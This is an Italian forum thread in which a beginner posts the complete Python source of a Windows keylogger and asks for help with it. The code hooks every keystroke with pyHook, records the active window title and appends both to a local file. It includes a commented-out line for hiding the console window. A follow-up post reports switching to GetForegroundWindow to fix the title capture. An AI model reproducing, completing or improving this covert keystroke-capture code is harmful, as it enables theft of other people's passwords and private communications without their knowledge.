|
|||||||
|
|
|
![]() |
|
|
Strumenti |
|
|
#1 |
|
Member
Iscritto dal: Jan 2017
Messaggi: 32
|
[Python] Creazione di un keylogger
Ciao a tutti!
sto creando un keylogger (scopiazzando anche da internet, non conosco troppo il python ma voglio impararlo) e sono inceppato in 2 problemi: il primo è che non riesco a scrivere tutti i tasti 'shiftati', ad esempio il punto interrogativo, i due punti e simili; il secondo è che volevo fare un qualcosa che registri anche il titolo della finestra dove sto scrivendo (o meglio, quella attiva). per farlo sto usando Codice:
hwnd = win32gui.GetActiveWindow() win32gui.GetWindowText(hwnd) il codice intero è questo: Codice:
import win32api, win32console, win32gui
import pythoncom, pyHook
# le successive due righe servono per nascondere la finestra del programma
win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)
title = []
hwnd = win32gui.GetActiveWindow()
def OnKeyboardEvent(event):
global title
hwnd = win32gui.GetActiveWindow()
e=open('event.txt','a')
if win32gui.GetWindowText(hwnd)!=title:
title = win32gui.GetWindowText(hwnd)
e.write('\n\n'+title+'\n')
ch=chr(event.Ascii)
if event.Ascii==13:
ch='\n'
e.write(ch)
e.close()
hmgr = pyHook.HookManager()
hmgr.KeyDown = OnKeyboardEvent
hmgr.HookKeyboard()
pythoncom.PumpMessages()
__________________
Mobo: Asus H110M-K - CPU: Intel Core i5-6500 3,2GHz - RAM: Corsair 2x4Gb DDR4 2133MHz - SSD: Samsung 850 EVO 250Gb - HDD: Western Digital 1Tb - GPU: Nvidia GeForce GT730 2Gb GDDR5 (coming soon best) - PSU: Corsair VS650 650W - SO: Microsoft Windows 10 Pro
|
|
|
|
|
|
#2 |
|
Member
Iscritto dal: Jan 2017
Messaggi: 32
|
Sono riuscito ad aggiustare il secondo punto! mi è bastato usare 'win32gui.GetForegroundWindow()' invece di 'win32gui.GetActiveWindow()'
PS: nella domanda mi sono dimenticato di specificare che uso python 3.6, sorry
__________________
Mobo: Asus H110M-K - CPU: Intel Core i5-6500 3,2GHz - RAM: Corsair 2x4Gb DDR4 2133MHz - SSD: Samsung 850 EVO 250Gb - HDD: Western Digital 1Tb - GPU: Nvidia GeForce GT730 2Gb GDDR5 (coming soon best) - PSU: Corsair VS650 650W - SO: Microsoft Windows 10 Pro
|
|
|
|
|
| Strumenti | |
|
|
Tutti gli orari sono GMT +1. Ora sono le: 12:02.



















